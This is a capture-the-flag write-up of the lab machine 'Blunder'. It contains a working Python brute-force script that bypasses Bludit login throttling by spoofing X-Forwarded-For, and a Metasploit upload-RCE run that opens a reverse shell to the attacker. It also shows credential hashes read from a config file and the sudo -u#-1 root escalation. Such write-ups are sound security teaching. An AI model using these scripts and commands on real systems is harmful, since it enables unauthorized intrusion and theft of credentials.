Blunder

TL;DR

  • Find todo.txt to get the username of the admin page
  • Create a wordlist with CeWL and exploit CVE-2019-17240 to brute force the login page (/admin/login)
  • Exploit CVE-2019-16113 to get a webshell
  • Find hugo’s password in user.php
  • Exploit sudo -u#-1 to get root

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/blunder$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN blunder.txt
# Nmap 7.60 scan initiated Mon Jun 29 17:36:28 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN blunder.txt blunder.htb
Increasing send delay for 10.10.10.191 from 0 to 5 due to 11 out of 14 dropped probes since last increase.
Nmap scan report for blunder.htb (10.10.10.191)
Host is up, received echo-reply ttl 63 (0.69s latency).
Scanned at 2020-06-29 17:36:28 CEST for 62s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT   STATE  SERVICE REASON         VERSION
21/tcp closed ftp     reset ttl 63
80/tcp open   http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
|_http-generator: Blunder
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 29 17:37:30 2020 -- 1 IP address (1 host up) scanned in 62.64 seconds

So we find 2 useful services on 2 ports:

  • FTP (21) (closed)
  • Apache (80)

The website is a standard blog.

Website

Enumeration

With Dirbuster we find a file called todo.txt:

-Update the CMS -Turn off FTP - DONE -Remove old users - DONE -Inform fergus that the new blog needs images - PENDING

So the administrator turned off the FTP service and removed old users but he haven’t updated the CMS yet and we might have a user called fergus as he’s suppose to add images on the blog.

Our Dirbuster scan also found admin/login.

Admin

Brute force (CVE-2019-17240)

So the CMS used for the blog is Bludit, if we check for CVE we quickly find this article.

It seems that the anti-brute force mechanism uses the X-Forwarded-For header to blacklist the IP address after 10 attempts.

We can easily bypass that by changing our X-Forwarded-For header at each attempt.

We might have a valid username, we just need to create a wordlist with CeWL.

I’ve tried to brute force the login page with rockyou.txt but unfortunately it didn’t pay off.

magnussen@funcMyLife:~/blunder$ ./CeWL/cewl.rb http://10.10.10.191/ >> wordlist.txt
magnussen@funcMyLife:~/blunder$ cat wordlist
the
Load
Plugins
and
for
Include
Site
Page
has
About
King
with
USB
Begin
more
...

We have 349 passwords but I’ve truncated the output for readability

Here’s the python script to brute force the login page:

#!/usr/bin/python3.6
# coding: utf-8
import requests
import string
from bs4 import BeautifulSoup

if __name__ == '__main__':
    url = 'http://10.10.10.191/admin/login'
    username = 'fergus'
    i = 0

    data = {'tokenCSRF': None, 'username': username, 'password': None, 'save': ''}
    headers = {'X-Forwarded-For': None, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0', 'Referer': url}

    with open('wordlist.txt', 'r') as target:
        passwords = target.readlines()

    for pwd in passwords:
        i += 1
        password = pwd.replace('\n', '')

        session = requests.Session()
        page = session.get(url)
        soup = BeautifulSoup(page.text, 'html.parser')

        csrf = soup.find('input', {'id': 'jstokenCSRF'}).get('value').replace('\n', '')

        data['tokenCSRF'] = csrf
        data['password'] = password
        headers['X-Forwarded-For'] = password

        request = session.post(url, headers=headers, data=data, allow_redirects=False)

        if 'location' in request.headers:
            if 'dashboard' in request.headers['location']:
                print("Found password: {} for account: {}".format(password, username))
                break

Let’s get that password!

magnussen@funcMyLife:~/blunder$ ./bruteforce.py
Found password: RolandDeschain for account: fergus

Nice! We can login with fergus:RolandDeschain.

Log Admin

RCE

While searching for CVE previously, I’ve also found this CVE.

With this CVE we abuse the uuid parameter in the image upload feature by uploading a payload where we want on the server and then upload a custom .htaccess file to bypass the file extension check to finally get an RCE

magnussen@funcMyLife:~/blunder$ msfconsole
msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > run

[*] Started reverse TCP handler on 10.10.15.115:4444
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading BMfjNokUWn.png...
[*] Uploading .htaccess...
[*] Executing BMfjNokUWn.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.15.115:4444 -> 10.10.10.191:57930) at 2020-07-03 18:56:57 +0200
[+] Deleted .htaccess

meterpreter > shell -t
[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/null
Process 24458 created.
Channel 0 created.
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Yeah! We have a shell!

Plaintext password in configuration file

Let’s see which user we must own:

www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh /home
total 16K
drwxr-xr-x  4 root  root  4.0K Apr 27 14:31 .
drwxr-xr-x 21 root  root  4.0K Apr 27 14:09 ..
drwxr-xr-x 16 hugo  hugo  4.0K May 26 09:29 hugo
drwxr-xr-x 16 shaun shaun 4.0K Apr 28 12:13 shaun
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh /home/hugo
total 80K
drwxr-xr-x 16 hugo hugo 4.0K May 26 09:29 .
drwxr-xr-x  4 root root 4.0K Apr 27 14:31 ..
lrwxrwxrwx  1 root root    9 Apr 28 12:13 .bash_history -> /dev/null
-rw-r--r--  1 hugo hugo  220 Nov 28  2019 .bash_logout
-rw-r--r--  1 hugo hugo 3.7K Nov 28  2019 .bashrc
drwx------ 13 hugo hugo 4.0K Apr 27 14:29 .cache
drwx------ 11 hugo hugo 4.0K Nov 28  2019 .config
drwx------  3 hugo hugo 4.0K Apr 27 14:30 .gnupg
drwxrwxr-x  3 hugo hugo 4.0K Nov 28  2019 .local
drwx------  5 hugo hugo 4.0K Apr 27 14:29 .mozilla
-rw-r--r--  1 hugo hugo  807 Nov 28  2019 .profile
drwx------  2 hugo hugo 4.0K Apr 27 14:30 .ssh
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Desktop
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Documents
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Downloads
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Music
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Pictures
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Public
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Templates
drwxr-xr-x  2 hugo hugo 4.0K Nov 28  2019 Videos
-r--------  1 hugo hugo   33 Jul  3 16:31 user.txt

Ok, so we have two users, we currently have the www-data account and we must own hugo user.

Let see what we got:

www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh
total 12K
drwxr-xr-x 3 www-data www-data 4.0K Jul  3 18:01 .
drwxr-xr-x 7 www-data www-data 4.0K Nov 27  2019 ..
drwxr-xr-x 2 www-data www-data 4.0K Jul  3 18:01 thumbnails
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh ..
ls -alh ..
total 28K
drwxr-xr-x  7 www-data www-data 4.0K Nov 27  2019 .
drwxrwxr-x  8 www-data www-data 4.0K Apr 28 12:18 ..
drwxr-xr-x  3 www-data www-data 4.0K Jul  3 16:37 databases
drwxr-xr-x 12 www-data www-data 4.0K Jul  3 16:49 pages
drwxr-xr-x  3 www-data www-data 4.0K Jul  3 18:09 tmp
drwxr-xr-x  5 www-data www-data 4.0K Nov 27  2019 uploads
drwxr-xr-x  4 www-data www-data 4.0K Nov 27  2019 workspaces
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh ../databases
ls -alh ../databases
total 376K
drwxr-xr-x 3 www-data www-data 4.0K Jul  3 16:37 .
drwxr-xr-x 7 www-data www-data 4.0K Nov 27  2019 ..
-rw-r--r-- 1 www-data www-data  438 Jul  3 16:49 categories.php
-rw-r--r-- 1 www-data www-data 5.6K Jul  3 16:49 pages.php
drwxr-xr-x 6 www-data www-data 4.0K Nov 27  2019 plugins
-rw-r--r-- 1 www-data www-data 334K Jul  3 18:00 security.php
-rw-r--r-- 1 www-data www-data 1.3K May 19 11:28 site.php
-rw-r--r-- 1 www-data www-data 2.3K Jul  3 18:02 syslog.php
-rw-r--r-- 1 www-data www-data   52 Jul  3 16:49 tags.php
-rw-r--r-- 1 www-data www-data 1.4K Jul  3 16:31 users.php
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cat ../databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "f9057f094fb35ff1f3bbd72e40d2411a",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": "",
        "description": "",
        "mastodon": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }
}

So the databases/users.php file seems interesting, unfortunately we can’t break the hash.

Let’s see, if we can retrieve this file elsewhere.

www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh ../../
ls -alh ../../
total 76K
drwxrwxr-x  8 www-data www-data 4.0K Apr 28 12:18 .
drwxr-xr-x  5 root     root     4.0K Nov 28  2019 ..
drwxrwxr-x  2 www-data www-data 4.0K Jun 21  2019 .github
-rwxrwxr-x  1 www-data www-data  563 Jun 21  2019 .gitignore
-rwxrwxr-x  1 www-data www-data  438 Nov 27  2019 .htaccess
-rwxrwxr-x  1 www-data www-data 1.1K Jun 21  2019 LICENSE
-rwxrwxr-x  1 www-data www-data 2.9K Jun 21  2019 README.md
drwxr-xr-x  7 www-data www-data 4.0K Nov 27  2019 bl-content
drwxrwxr-x 10 www-data www-data 4.0K Nov 27  2019 bl-kernel
drwxrwxr-x  2 www-data www-data 4.0K Jun 21  2019 bl-languages
drwxrwxr-x 26 www-data www-data 4.0K Jun 21  2019 bl-plugins
drwxrwxr-x  5 www-data www-data 4.0K Jun 21  2019 bl-themes
-rwxrwxr-x  1 www-data www-data  901 Nov 27  2019 index.php
-rwxrwxr-x  1 www-data www-data  20K Jun 21  2019 install.php
-rw-r--r--  1 root     root      118 Apr 28 12:18 todo.txt
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -alh ../../../
ls -alh ../../../
total 20K
drwxr-xr-x  5 root     root     4.0K Nov 28  2019 .
drwxr-xr-x 15 root     root     4.0K Nov 27  2019 ..
drwxr-xr-x  8 www-data www-data 4.0K May 19 15:13 bludit-3.10.0a
drwxrwxr-x  8 www-data www-data 4.0K Apr 28 12:18 bludit-3.9.2
drwxr-xr-x  2 root     root     4.0K Nov 28  2019 html
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd ../../../bludit-3.10.0a
ad ../../../bludit-3.10.0a
www-data@blunder:/var/www/bludit-3.10.0a$ ls -alh
ls -alh
total 72K
drwxr-xr-x  8 www-data www-data 4.0K May 19 15:13 .
drwxr-xr-x  5 root     root     4.0K Nov 28  2019 ..
drwxr-xr-x  2 www-data www-data 4.0K Oct 19  2019 .github
-rw-r--r--  1 www-data www-data  582 Oct 19  2019 .gitignore
-rw-r--r--  1 www-data www-data  395 Oct 19  2019 .htaccess
-rw-r--r--  1 www-data www-data 1.1K Oct 19  2019 LICENSE
-rw-r--r--  1 www-data www-data 2.9K Oct 19  2019 README.md
drwxr-xr-x  7 www-data www-data 4.0K May 19 10:03 bl-content
drwxr-xr-x 10 www-data www-data 4.0K Oct 19  2019 bl-kernel
drwxr-xr-x  2 www-data www-data 4.0K Oct 19  2019 bl-languages
drwxr-xr-x 29 www-data www-data 4.0K Oct 19  2019 bl-plugins
drwxr-xr-x  5 www-data www-data 4.0K Oct 19  2019 bl-themes
-rw-r--r--  1 www-data www-data  900 May 19 11:27 index.php
-rw-r--r--  1 www-data www-data  20K Oct 19  2019 install.php
www-data@blunder:/var/www/bludit-3.10.0a$ ls -alh bl-content
ls -alh bl-content
total 28K
drwxr-xr-x 7 www-data www-data 4.0K May 19 10:03 .
drwxr-xr-x 8 www-data www-data 4.0K May 19 15:13 ..
drwxr-xr-x 3 www-data www-data 4.0K May 19 10:10 databases
drwxr-xr-x 8 www-data www-data 4.0K May 19 10:03 pages
drwxr-xr-x 3 www-data www-data 4.0K May 19 10:03 tmp
drwxr-xr-x 5 www-data www-data 4.0K May 19 10:03 uploads
drwxr-xr-x 4 www-data www-data 4.0K May 19 10:03 workspaces
www-data@blunder:/var/www/bludit-3.10.0a$  ls -alh bl-content/databases
 ls -alh bl-content/databases
total 80K
drwxr-xr-x 3 www-data www-data 4.0K May 19 10:10 .
drwxr-xr-x 7 www-data www-data 4.0K May 19 10:03 ..
-rw-r--r-- 1 www-data www-data  438 May 19 10:03 categories.php
-rw-r--r-- 1 www-data www-data 3.4K May 19 10:03 pages.php
drwxr-xr-x 6 www-data www-data 4.0K May 19 10:03 plugins
-rw-r--r-- 1 www-data www-data  42K May 19 10:03 security.php
-rw-r--r-- 1 www-data www-data 1.3K May 19 10:03 site.php
-rw-r--r-- 1 www-data www-data 2.3K May 19 10:03 syslog.php
-rw-r--r-- 1 www-data www-data   52 May 19 10:03 tags.php
-rw-r--r-- 1 www-data www-data  597 May 19 10:10 users.php
www-data@blunder:/var/www/bludit-3.10.0a$ cat bl-content/databases/users.php
cat bl-content/databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

We have a hash for hugo’s account, if we crack it with crackstation we find: Password120.

Let’s go get that user.txt!

www-data@blunder:/var/www/bludit-3.10.0a$ su hugo
Password: Password120

hugo@blunder:/var/www/bludit-3.10.0a$ cd
hugo@blunder:~$ cat user.txt
2f447ef93bf970b48ce7016582cc755f

I AM ROOT

Sudo vulnerability

Now that we’re connected as hugo, let’s see how we can get root.

hugo@blunder:~$ sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Ok, so we can have a shell as every user except root, not a problem, let’s use sudo's most common vulnerability:

hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo# cd
root@blunder:/# cat root/root.txt
babeeddefca7a274d59b91cd6ac05326

This vulnerability come from the fact that the function which converts user id into its username incorrectly treats -1, or its unsigned equivalent 4294967295, like 0, which is always the user ID of root user.

And we’re root!

I’ve struggle a bit on the brute force part before using CeWL, it was an easy box but fun to do, thank you egotisticalSW for this box!